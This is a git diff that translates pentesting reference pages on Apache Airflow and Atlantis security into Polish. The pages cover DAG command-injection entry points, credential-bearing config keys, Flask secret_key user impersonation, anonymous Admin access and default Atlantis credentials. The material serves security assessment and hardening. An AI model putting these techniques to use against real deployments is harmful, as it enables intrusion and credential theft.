+Wszystko, co musisz wiedzieć, aby **zacząć szukać wstrzyknięć poleceń w DAGach**, to że **parametry** są **dostępne** za pomocą kodu **`dag_run.conf.get("param_name")`**.
+Ponadto, ta sama podatność może wystąpić z **zmiennymi** (zauważ, że przy wystarczających uprawnieniach możesz **kontrolować wartość zmiennych** w GUI). Zmienne są **dostępne za pomocą**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-
-If they are used for example inside a a bash command, you could perform a command injection.
+Jeśli są używane na przykład wewnątrz polecenia bash, możesz wykonać wstrzyknięcie polecenia.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 5fd8e486b..efbd9996e 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -1,115 +1,105 @@
-# Airflow Configuration
+# Konfiguracja Airflow
{{#include ../../banners/hacktricks-training.md}}
-## Configuration File
+## Plik konfiguracyjny
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
+**Apache Airflow** generuje **plik konfiguracyjny** na wszystkich maszynach airflow o nazwie **`airflow.cfg`** w katalogu domowym użytkownika airflow. Ten plik konfiguracyjny zawiera informacje konfiguracyjne i **może zawierać interesujące i wrażliwe informacje.**
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
+**Istnieją dwa sposoby dostępu do tego pliku: Poprzez skompromitowanie maszyny airflow lub dostęp do konsoli internetowej.**
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+Zauważ, że **wartości w pliku konfiguracyjnym** **mogą nie być używane**, ponieważ możesz je nadpisać, ustawiając zmienne środowiskowe, takie jak `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
+Jeśli masz dostęp do **pliku konfiguracyjnego na serwerze internetowym**, możesz sprawdzić **rzeczywistą konfigurację uruchomioną** na tej samej stronie, na której wyświetlany jest plik konfiguracyjny.\
+Jeśli masz **dostęp do jakiejś maszyny w środowisku airflow**, sprawdź **środowisko**.
-Some interesting values to check when reading the config file:
+Niektóre interesujące wartości do sprawdzenia podczas przeglądania pliku konfiguracyjnego:
### \[api]
-- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- - `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- - You can also **create you own authentication** method with python.
-- **`google_key_path`:** Path to the **GCP service account key**
+- **`access_control_allow_headers`**: To wskazuje **dozwolone** **nagłówki** dla **CORS**
+- **`access_control_allow_methods`**: To wskazuje **dozwolone metody** dla **CORS**
+- **`access_control_allow_origins`**: To wskazuje **dozwolone źródła** dla **CORS**
+- **`auth_backend`**: [**Zgodnie z dokumentacją**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) kilka opcji może być użytych do skonfigurowania, kto może uzyskać dostęp do API:
+- `airflow.api.auth.backend.deny_all`: **Domyślnie nikt** nie może uzyskać dostępu do API
+- `airflow.api.auth.backend.default`: **Każdy może** uzyskać do niego dostęp bez uwierzytelnienia
+- `airflow.api.auth.backend.kerberos_auth`: Aby skonfigurować **uwierzytelnianie kerberos**
+- `airflow.api.auth.backend.basic_auth`: Dla **podstawowego uwierzytelniania**
+- `airflow.composer.api.backend.composer_auth`: Używa uwierzytelniania kompozytora (GCP) (z [**tutaj**](https://cloud.google.com/composer/docs/access-airflow-api)).
+- `composer_auth_user_registration_role`: To wskazuje **rolę**, jaką **użytkownik kompozytora** otrzyma w **airflow** (**Op** domyślnie).
+- Możesz również **stworzyć własną metodę uwierzytelniania** w pythonie.
+- **`google_key_path`:** Ścieżka do **klucza konta usługi GCP**
### **\[atlas]**
-- **`password`**: Atlas password
-- **`username`**: Atlas username
+- **`password`**: Hasło Atlas
+- **`username`**: Nazwa użytkownika Atlas
### \[celery]
-- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-- **`result_backend`**: Postgres url which may contain **credentials**.
-- **`ssl_cacert`**: Path to the cacert
-- **`ssl_cert`**: Path to the cert
-- **`ssl_key`**: Path to the key
+- **`flower_basic_auth`** : Poświadczenia (_user1:password1,user2:password2_)
+- **`result_backend`**: URL Postgres, który może zawierać **poświadczenia**.
+- **`ssl_cacert`**: Ścieżka do cacert
+- **`ssl_cert`**: Ścieżka do certyfikatu
+- **`ssl_key`**: Ścieżka do klucza
### \[core]
-- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-- **`fernet_key`**: Key to store encrypted variables (symmetric)
-- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-- **`security`**: What security module to use (for example kerberos)
+- **`dag_discovery_safe_mode`**: Włączone domyślnie. Podczas odkrywania DAG-ów, ignoruj wszelkie pliki, które nie zawierają ciągów `DAG` i `airflow`.
+- **`fernet_key`**: Klucz do przechowywania zaszyfrowanych zmiennych (symetryczny)
+- **`hide_sensitive_var_conn_fields`**: Włączone domyślnie, ukrywa wrażliwe informacje o połączeniach.
+- **`security`**: Jaki moduł zabezpieczeń użyć (na przykład kerberos)
### \[dask]
-- **`tls_ca`**: Path to ca
-- **`tls_cert`**: Part to the cert
-- **`tls_key`**: Part to the tls key
+- **`tls_ca`**: Ścieżka do ca
+- **`tls_cert`**: Ścieżka do certyfikatu
+- **`tls_key`**: Ścieżka do klucza tls
### \[kerberos]
-- **`ccache`**: Path to ccache file
-- **`forwardable`**: Enabled by default
+- **`ccache`**: Ścieżka do pliku ccache
+- **`forwardable`**: Włączone domyślnie
### \[logging]
-- **`google_key_path`**: Path to GCP JSON creds.
+- **`google_key_path`**: Ścieżka do poświadczeń JSON GCP.
### \[secrets]
-- **`backend`**: Full class name of secrets backend to enable
-- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
+- **`backend`**: Pełna nazwa klasy backendu sekretów do włączenia
+- **`backend_kwargs`**: Parametr backend_kwargs jest ładowany do słownika i przekazywany do **init** klasy backendu sekretów.
### \[smtp]
-- **`smtp_password`**: SMTP password
-- **`smtp_user`**: SMTP user
+- **`smtp_password`**: Hasło SMTP
+- **`smtp_user`**: Użytkownik SMTP
### \[webserver]
-- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-- **`cookie_secure`**: Set **secure flag** on the the session cookie
-- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
+- **`cookie_samesite`**: Domyślnie to **Lax**, więc to już najsłabsza możliwa wartość
+- **`cookie_secure`**: Ustaw **flaga zabezpieczeń** na ciasteczku sesyjnym
+- **`expose_config`**: Domyślnie jest False, jeśli prawda, **konfiguracja** może być **odczytana** z **konsoli** internetowej
+- **`expose_stacktrace`**: Domyślnie to True, wyświetli **ślad stosu Pythona** (potencjalnie przydatne dla atakującego)
+- **`secret_key`**: To jest **klucz używany przez flask do podpisywania ciasteczek** (jeśli to masz, możesz **podszyć się pod dowolnego użytkownika w Airflow**)
+- **`web_server_ssl_cert`**: **Ścieżka** do **certyfikatu SSL**
+- **`web_server_ssl_key`**: **Ścieżka** do **klucza SSL**
+- **`x_frame_enabled`**: Domyślnie to **True**, więc domyślnie clickjacking nie jest możliwy
-### Web Authentication
-
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
+### Uwierzytelnianie w sieci
+Domyślnie **uwierzytelnianie w sieci** jest określone w pliku **`webserver_config.py`** i jest skonfigurowane jako
```bash
AUTH_TYPE = AUTH_DB
```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
+Co oznacza, że **uwierzytelnianie jest sprawdzane w bazie danych**. Jednak możliwe są inne konfiguracje, takie jak
```bash
AUTH_TYPE = AUTH_OAUTH
```
+Aby pozostawić **uwierzytelnianie zewnętrznym usługom**.
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
+Jednak istnieje również opcja **zezwolenia anonimowym użytkownikom na dostęp**, ustawiając następujący parametr na **pożądaną rolę**:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 7ff782327..b61bdc9b6 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,44 +4,40 @@
## RBAC
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
+(Z dokumentacji)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow dostarczany jest z **domyślnym zestawem ról**: **Admin**, **User**, **Op**, **Viewer** i **Public**. **Tylko użytkownicy `Admin`** mogą **konfigurować/zmieniać uprawnienia dla innych ról**. Jednak nie zaleca się, aby użytkownicy `Admin` w jakikolwiek sposób zmieniali te domyślne role, usuwając lub dodając uprawnienia do tych ról.
-- **`Admin`** users have all possible permissions.
-- **`Public`** users (anonymous) don’t have any permissions.
-- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
-- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
-- **`Op`** users have `User` permissions plus additional op permissions.
+- **Użytkownicy `Admin`** mają wszystkie możliwe uprawnienia.
+- **Użytkownicy `Public`** (anonimowi) nie mają żadnych uprawnień.
+- **Użytkownicy `Viewer`** mają ograniczone uprawnienia do przeglądania (tylko do odczytu). **Nie mogą zobaczyć konfiguracji.**
+- **Użytkownicy `User`** mają uprawnienia `Viewer` oraz dodatkowe uprawnienia użytkownika, które pozwalają im zarządzać DAG-ami w pewnym zakresie. **Mogą zobaczyć plik konfiguracyjny.**
+- **Użytkownicy `Op`** mają uprawnienia `User` oraz dodatkowe uprawnienia operacyjne.
-Note that **admin** users can **create more roles** with more **granular permissions**.
+Zauważ, że **użytkownicy admin** mogą **tworzyć więcej ról** z bardziej **szczegółowymi uprawnieniami**.
-Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
+Zauważ również, że jedyną domyślną rolą z **uprawnieniem do wyświetlania użytkowników i ról jest Admin, nawet Op** nie będzie w stanie tego zrobić.
-### Default Permissions
+### Domyślne Uprawnienia
-These are the default permissions per default role:
+Oto domyślne uprawnienia dla domyślnej roli:
- **Admin**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
+\[może usuwać w Connections, może czytać w Connections, może edytować w Connections, może tworzyć w Connections, może czytać w DAGs, może edytować w DAGs, może usuwać w DAGs, może czytać w DAG Runs, może czytać w Task Instances, może edytować w Task Instances, może usuwać w DAG Runs, może tworzyć w DAG Runs, może edytować w DAG Runs, może czytać w Audit Logs, może czytać w ImportError, może usuwać w Pools, może czytać w Pools, może edytować w Pools, może tworzyć w Pools, może czytać w Providers, może usuwać w Variables, może czytać w Variables, może edytować w Variables, może tworzyć w Variables, może czytać w XComs, może czytać w DAG Code, może czytać w Configurations, może czytać w Plugins, może czytać w Roles, może czytać w Permissions, może usuwać w Roles, może edytować w Roles, może tworzyć w Roles, może czytać w Users, może tworzyć w Users, może edytować w Users, może usuwać w Users, może czytać w DAG Dependencies, może czytać w Jobs, może czytać w My Password, może edytować w My Password, może czytać w My Profile, może edytować w My Profile, może czytać w SLA Misses, może czytać w Task Logs, może czytać w Website, dostęp do menu w Browse, dostęp do menu w DAG Dependencies, dostęp do menu w DAG Runs, dostęp do menu w Documentation, dostęp do menu w Docs, dostęp do menu w Jobs, dostęp do menu w Audit Logs, dostęp do menu w Plugins, dostęp do menu w SLA Misses, dostęp do menu w Task Instances, może tworzyć w Task Instances, może usuwać w Task Instances, dostęp do menu w Admin, dostęp do menu w Configurations, dostęp do menu w Connections, dostęp do menu w Pools, dostęp do menu w Variables, dostęp do menu w XComs, może usuwać w XComs, może czytać w Task Reschedules, dostęp do menu w Task Reschedules, może czytać w Triggers, dostęp do menu w Triggers, może czytać w Passwords, może edytować w Passwords, dostęp do menu w List Users, dostęp do menu w Security, dostęp do menu w List Roles, może czytać w User Stats Chart, dostęp do menu w User's Statistics, dostęp do menu w Base Permissions, może czytać w View Menus, dostęp do menu w Views/Menus, może czytać w Permission Views, dostęp do menu w Permission on Views/Menus, może uzyskać dostęp do MenuApi, dostęp do menu w Providers, może tworzyć w XComs]
- **Op**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
+\[może usuwać w Connections, może czytać w Connections, może edytować w Connections, może tworzyć w Connections, może czytać w DAGs, może edytować w DAGs, może usuwać w DAGs, może czytać w DAG Runs, może czytać w Task Instances, może edytować w Task Instances, może usuwać w DAG Runs, może tworzyć w DAG Runs, może edytować w DAG Runs, może czytać w Audit Logs, może czytać w ImportError, może usuwać w Pools, może czytać w Pools, może edytować w Pools, może tworzyć w Pools, może czytać w Providers, może usuwać w Variables, może czytać w Variables, może edytować w Variables, może tworzyć w Variables, może czytać w XComs, może czytać w DAG Code, może czytać w Configurations, może czytać w Plugins, może czytać w DAG Dependencies, może czytać w Jobs, może czytać w My Password, może edytować w My Password, może czytać w My Profile, może edytować w My Profile, może czytać w SLA Misses, może czytać w Task Logs, może czytać w Website, dostęp do menu w Browse, dostęp do menu w DAG Dependencies, dostęp do menu w DAG Runs, dostęp do menu w Documentation, dostęp do menu w Docs, dostęp do menu w Jobs, dostęp do menu w Audit Logs, dostęp do menu w Plugins, dostęp do menu w SLA Misses, dostęp do menu w Task Instances, może tworzyć w Task Instances, może usuwać w Task Instances, dostęp do menu w Admin, dostęp do menu w Configurations, dostęp do menu w Connections, dostęp do menu w Pools, dostęp do menu w Variables, dostęp do menu w XComs, może usuwać w XComs]
- **User**
-\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
+\[może czytać w DAGs, może edytować w DAGs, może usuwać w DAGs, może czytać w DAG Runs, może czytać w Task Instances, może edytować w Task Instances, może usuwać w DAG Runs, może tworzyć w DAG Runs, może edytować w DAG Runs, może czytać w Audit Logs, może czytać w ImportError, może czytać w XComs, może czytać w DAG Code, może czytać w Plugins, może czytać w DAG Dependencies, może czytać w Jobs, może czytać w My Password, może edytować w My Password, może czytać w My Profile, może edytować w My Profile, może czytać w SLA Misses, może czytać w Task Logs, może czytać w Website, dostęp do menu w Browse, dostęp do menu w DAG Dependencies, dostęp do menu w DAG Runs, dostęp do menu w Documentation, dostęp do menu w Docs, dostęp do menu w Jobs, dostęp do menu w Audit Logs, dostęp do menu w Plugins, dostęp do menu w SLA Misses, dostęp do menu w Task Instances, może tworzyć w Task Instances, może usuwać w Task Instances]
- **Viewer**
-\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
+\[może czytać w DAGs, może czytać w DAG Runs, może czytać w Task Instances, może czytać w Audit Logs, może czytać w ImportError, może czytać w XComs, może czytać w DAG Code, może czytać w Plugins, może czytać w DAG Dependencies, może czytać w Jobs, może czytać w My Password, może edytować w My Password, może czytać w My Profile, może edytować w My Profile, może czytać w SLA Misses, może czytać w Task Logs, może czytać w Website, dostęp do menu w Browse, dostęp do menu w DAG Dependencies, dostęp do menu w DAG Runs, dostęp do menu w Documentation, dostęp do menu w Docs, dostęp do menu w Jobs, dostęp do menu w Audit Logs, dostęp do menu w Plugins, dostęp do menu w SLA Misses, dostęp do menu w Task Instances]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index a4b35140f..6473fd883 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -10,103 +10,103 @@ Atlantis basically helps you to to run terraform from Pull Requests from your gi
### Local Lab
-1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
-2. Create a **personal token** (with repo access) of your **github** user
-3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
- 1. You can access the web page in 127.0.0.1:4141
+1. Przejdź do **strony z wydaniami atlantis** w [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **pobierz** wersję, która Ci odpowiada.
+2. Utwórz **osobisty token** (z dostępem do repozytoriów) swojego użytkownika **github**.
+3. Wykonaj `./atlantis testdrive`, a utworzy to **demo repo**, którego możesz użyć do **komunikacji z atlantis**.
+4. Możesz uzyskać dostęp do strony internetowej pod adresem 127.0.0.1:4141.
### Atlantis Access
#### Git Server Credentials
-**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
-However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
-[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
+**Atlantis** wspiera kilka hostów git, takich jak **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\
+Jednak, aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać działania, musi mieć przyznany **privileged access** (przynajmniej uprawnienia do zapisu).\
+[**Dokumentacja**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zachęca do stworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy mogą używać osobistych kont.
> [!WARNING]
-> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
+> W każdym przypadku, z perspektywy atakującego, **konto Atlantis** będzie bardzo **interesujące** **do skompromitowania**.
#### Webhooks
-Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
+Atlantis opcjonalnie używa [**sekretów webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) do weryfikacji, że **webhooki**, które otrzymuje z Twojego hosta Git, są **legitymne**.
-One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
+Jednym ze sposobów potwierdzenia tego byłoby **zezwolenie na przyjmowanie żądań tylko z adresów IP** Twojego hosta Git, ale łatwiejszym sposobem jest użycie sekretu webhook.
-Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
+Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhook na Internet.
> [!WARNING]
-> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
+> Atlantis będzie **wystawiał webhooki**, aby serwer git mógł wysyłać mu informacje. Z perspektywy atakującego interesujące byłoby wiedzieć, **czy możesz wysyłać mu wiadomości**.
#### Provider Credentials
-[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
+[Z dokumentacji:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
+Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak w przypadku uruchamiania Terraform lokalnie, Atlantis potrzebuje poświadczeń dla Twojego konkretnego dostawcy.
-It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
+To od Ciebie zależy, jak [przekazujesz poświadczenia](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) dla swojego konkretnego dostawcy do Atlantis:
-- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
-- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
-- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
-- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
+- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) mają swoje własne mechanizmy dla poświadczeń dostawcy. Przeczytaj ich dokumentację.
+- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom na nich działającym, np.:
+- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Szukaj "EC2 Role")
+- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- Wiele użytkowników ustawia zmienne środowiskowe, np. `AWS_ACCESS_KEY`, gdzie działa Atlantis.
+- Inni tworzą niezbędne pliki konfiguracyjne, np. `~/.aws/credentials`, gdzie działa Atlantis.
+- Użyj [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) do uzyskania poświadczeń dostawcy.
> [!WARNING]
-> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
+> **Kontener**, w którym **Atlantis** jest **uruchamiany**, prawdopodobnie **zawiera poświadczenia z uprawnieniami** do dostawców (AWS, GCP, Github...), którymi zarządza Atlantis za pomocą Terraform.
#### Web Page
-By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
+Domyślnie Atlantis uruchomi **stronę internetową na porcie 4141 w localhost**. Ta strona pozwala tylko na włączenie/wyłączenie atlantis apply oraz sprawdzenie statusu planu repozytoriów i ich odblokowanie (nie pozwala na modyfikację rzeczy, więc nie jest zbyt użyteczna).
-You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
+Prawdopodobnie nie znajdziesz jej wystawionej w Internecie, ale wygląda na to, że domyślnie **nie są wymagane żadne poświadczenia** do jej uzyskania (a jeśli są, to `atlantis`:`atlantis` są **domyślnymi**).
### Server Configuration
-Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
+Konfiguracja dla `atlantis server` może być określona za pomocą flag wiersza poleceń, zmiennych środowiskowych, pliku konfiguracyjnego lub mieszanki tych trzech.
-- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
-- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- Możesz znaleźć [**tutaj listę flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wspieranych przez serwer Atlantis.
+- Możesz znaleźć [**tutaj jak przekształcić opcję konfiguracyjną w zmienną środowiskową**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
-Values are **chosen in this order**:
+Wartości są **wybierane w tej kolejności**:
-1. Flags
-2. Environment Variables
-3. Config File
+1. Flagi
+2. Zmienne środowiskowe
+3. Plik konfiguracyjny
> [!WARNING]
-> Note that in the configuration you might find interesting values such as **tokens and passwords**.
+> Zauważ, że w konfiguracji możesz znaleźć interesujące wartości, takie jak **tokeny i hasła**.
#### Repos Configuration
-Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
+Niektóre konfiguracje wpływają na **to, jak zarządzane są repozytoria**. Jednak możliwe jest, że **każde repozytorium wymaga różnych ustawień**, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów:
-1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
- 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
-3. **Default** values
